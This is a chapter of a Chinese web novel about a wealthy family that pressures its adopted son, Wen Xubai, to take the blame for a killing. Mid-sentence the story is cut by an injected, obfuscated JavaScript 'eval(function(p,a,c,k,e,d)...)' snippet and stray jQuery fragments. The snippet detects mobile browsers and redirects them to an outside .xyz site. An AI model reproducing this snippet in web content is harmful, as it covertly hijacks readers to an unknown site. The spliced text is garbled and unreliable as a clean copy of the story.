闻庭屹皱了皱眉,一脚将闻叙逸踹开,借助着拐杖和闻叙适的搀扶站了起来,冷眼看着这狼狈的母子两人。
“做这些事的时候,有没有想过闻家脸面?”
说完,拄拐便走。
“爸!爸!求你了,求你了!!!”眼见着闻庭屹抬脚,闻叙逸赶紧手脚并用爬过去,路过闻叙远,又赶忙像抓住救命稻草一般,“大哥,大哥,救救我,救救我,求你了······”
闻叙远嫌弃地看他一眼,冷哼一声,也是一脚踹去!
闻叙逸这下是真的面如死灰,跌坐在地上,瞳孔皱缩。
“闻庭屹!!!”
见秦雅琳猛地扑了上来,闻叙白赶紧伸手将她拦住,却见女人尖利的声音在耳边嘶吼道:“你忘了你做过的事吗?!!!”
闻言,闻庭屹脚步一顿。
“哈。”秦雅琳面孔狰狞,自嘲一笑,望着那个她爱了二十多年的男人,忽觉寒心无比,“我早该知道你是这种冷血无情的人!”
闻叙白细眉微蹙,也望向那个拄着拐杖的身影。
女人的尖叫还在继续。
“闻庭屹,我告诉你,我儿子要是出了什么事,我就把你干的那些好事全部捅出去!让所有人都看看,你闻庭屹是个多么道貌岸然的禽兽!!!要死是吧,那大家就一起死!!!”
越说,秦雅琳的情绪就越是激动,说出的话也越发口无遮拦起来,听的客厅中人皆是一惊。
闻叙适最先反应过来,一把捂住了秦雅琳的嘴,低吼道:“住嘴,你在瞎说什么?!”
“唔唔——唔——”秦雅琳疯狂挣扎起来,闻叙白都有些制不住她了。
忽听闻叙适痛呼一声,猛地松开了手,鲜血瞬间顺着他的手掌流下,落满整个手臂。
“二哥!”闻叙白心中一惊。
闻叙适摇了摇头,示意他没事。
却就是这么一愣神,秦雅琳竟挣脱了他的桎梏,转而扯住了他!
闻叙白:“???”
还不等他作出反应,秦雅琳就已然尖叫起来:“你!你去!你去说是你杀的人!是你杀的人!!!这一切都是你害的!如果不是你不好好守在小逸身边,他就不会失手犯错!!!如果不是你让遥遥替你去谈事,她就不会死!!!你本来就应该替她偿命,你本来就应该替他偿命!!!”
心脏骤然震颤,闻叙白没想到秦雅琳竟然已经痴心妄想到这种地步了。
那张报纸上没有提及到底是哪位“闻家富少”,照片上也只有个举着酒瓶的背影,确实看不清具体是谁,可他没想到,秦雅琳竟然想让他去帮闻叙逸顶罪?!
“是你的错!都是你的错!!!”
女人不断撕扯着他的衣服,俨然已经完全失去理智了。
“扑通”一声,闻叙逸竟也扑了过来,一把抓住闻叙白的裤子,哀求道:“三哥,三哥,你救救我吧,救救我吧!之前······之前是我不对,我不该对你出言不逊,可······可我那也是被我姐的死讯冲昏了头,不是故意的呀!!!”
“况且!况且我们家白白养了你这么多年,给你花了那么多钱,你也该报答一下吧?三哥,我求你了,我保证,你要是进去了,我肯定帮你把亲人朋友都安排好,把你父母的墓都迁到闻家墓园来!求你了三哥,帮帮我吧?!”
望着那两双如猛兽般贪婪的眼睛,闻叙白竟不自觉后退了一步。
瞬间,身上的桎梏便更加大几分,让他无法再离开半步。
他忽觉心慌不已。
抬头望向客厅中的其他几人,闻叙远冷眼旁观,闻叙适敢怒不敢言,而闻庭屹始终恍若未闻。
不,这么近的距离,他不可能没听见。
“父亲······”他惊慌地想向闻庭屹靠近,却只是稍一移动,就被再度拉了回去······
听似哀求,实则威胁的声音还在继续,秦雅琳与闻叙逸一高一低的两道声音交缠在一起,如同恶魔低语一般,不断充斥在他的耳边······
闻庭屹这是默认了吗?
一股巨大的恐惧感扑面而来,逐渐将闻叙白湮灭,他浑身的血液都如同被凝固了一般······
他帮闻庭屹办事这么多年来,实在是太了解他了。一个躲在盾牌之后,观衅伺隙的野兽,最擅长的,就是将自己隐藏起来,借刀杀人。
这个野兽对着自己的所有物具有近乎疯魔的控制欲,但凡是属于他的,都绝不可以被他人伤害或夺走,除非这个所有物伤害到了他的利益,才会狠心抛弃······
远、适、遥、逸、白······很显然,整个闻家,只有他是局外之人。
而闻叙逸,就是闻庭屹的所有物,与他利益相吸,纵使话说的再怎么决绝,闻叙逸竟然还能完好无损的出现在这里,就说明······闻庭屹还没有完全放弃他······
那要放弃的人,就是他。
熟悉的窒息感再度席卷而来,秦雅琳和闻叙逸已经将他逼至墙角,闻叙白就连呼吸都感觉困难。
他仿佛快被吞没了······
眼前阵阵发黑,胃部又再次泛起刺痛,就当他觉得快站不住的时刻,闻庭屹终于发话了。
“够了!看看你们,像什么样子?!”
一声怒吼,在场人终于都如梦初醒。
闻叙适赶紧拉开困住闻叙白的两人,扶住了他摇晃的身子,望着闻叙白惨白如纸的脸颊,关心道:“你没事吧?”
秦雅琳和闻叙逸已经被佣人控制住,押回房间,两人还在嘶吼咒骂,声音却最终被隔绝在了二楼房门之后。
脚步虚浮无比,豆大的汗珠顺着他的鬓角流下,闻叙白忽觉有一种不真实感,仿佛一切,都不过是一场梦一般······
他望向那个高大无比的男人,无论是小时候,还是现在,他都觉得无比难以睥睨······
不得不说,闻庭屹真的很聪明,他之所以选择他,就是因为······他一无所有。他至今所拥有的一切,都是闻家馈赠给他的,一但闻家想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308108|178739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要抽离,他便只剩赤|裸一身,而这样的他,又有什么资格违背闻家的命令呢?
“你还有我······”
记忆中的声音在耳畔呼唤,闻叙白艰难抬起头,仿佛看到了那个满脸笑意的男人,正站在不远处向他招手······
不行,齐最还在等他······
脚步甫一迈出,就仿佛踩在棉花上,意识瞬间溃散,只听到有人最后说了一句:“你先回去休息吧。”就瞬间陷入黑暗。
再醒来时,是在闻家。
闻叙白猛地从噩梦中惊醒,额前发丝已被汗水浸透,他猛地坐起身来,大喊道:“齐最!”
入目的,却是另一个男人的脸。
闻叙适正抱着一本书,抬眸微笑着看向他,语气温润:“你醒了。”
狂跳的心脏还未平息,惊慌的感觉还未消散,闻叙白强定住心神,按住自己起伏的胸脯,掩饰问道:“这是哪?”
“唰——”的一声,屋中窗帘尽数被拉开,刺眼的阳光透过窗户照射进来,逼的闻叙白忍不住抬手抵挡。
闻叙适轻笑一声,站在窗帘前,身姿笔挺,抬了抬眼睛,笑道:“太久没回来了吧,连自己的房间都不认识了。”
他确实是很久没回来了。
闻叙白的眼睛已经适应阳光,便默默将手放下了,觉得有点口渴。
“对了,齐最是谁?”
闻言,闻叙白猛地一怔,望向面前突然出现的水杯,水面之上,正倒映着他惊慌的神色。
一下将水杯夺过,杯中水摸着还是温热的,闻叙白喝了一口,强装镇定,“你问这个做什么?”
“没什么。”闻叙适靠在床头,无辜地摊了摊手,“只是你梦中一直在叫这个名字,我还以为他是什么对你很重要的人呢。”
他一直在叫齐最吗?
“不熟。”闻叙白默默垂下眸。
等下,齐最?
闻叙白猛地掀开被子,伸手去够床头的手机!
屏幕一亮,赫然已是第二天的日期了。
“哦对了,有个人一直在给你打电话,我看你没备注,应该是什么骚扰电话,就没有接。”
果不其然,闻叙白顺手向下一划,全都是齐最的未接来电。
那串数字他早就熟记于心,就是因为怕被发现,所以一直都没备注。
那不用猜了,他另一个微信号上的消息,肯定也已经被齐最轰炸了。
握着手机的手逐渐收紧,半晌,闻叙白却是将手机往柜子上一放,故作从容道:“是,不过是些骚扰电话而已,不重要。”
“是吗?”闻叙白又推了下眼镜,那双始终盛着淡淡笑意,却令人看不透的眼神望向他。
闻叙白的心都被提到了嗓子眼。
事发太突然了,平常他是一定会提前把电话卡给换下来的。
好在闻叙适并没有追问,转而拍了拍他的肩,安抚道:“小白,昨晚的事你不要放在心上,那都是秦雅琳的一派疯言,父亲不会当真的。”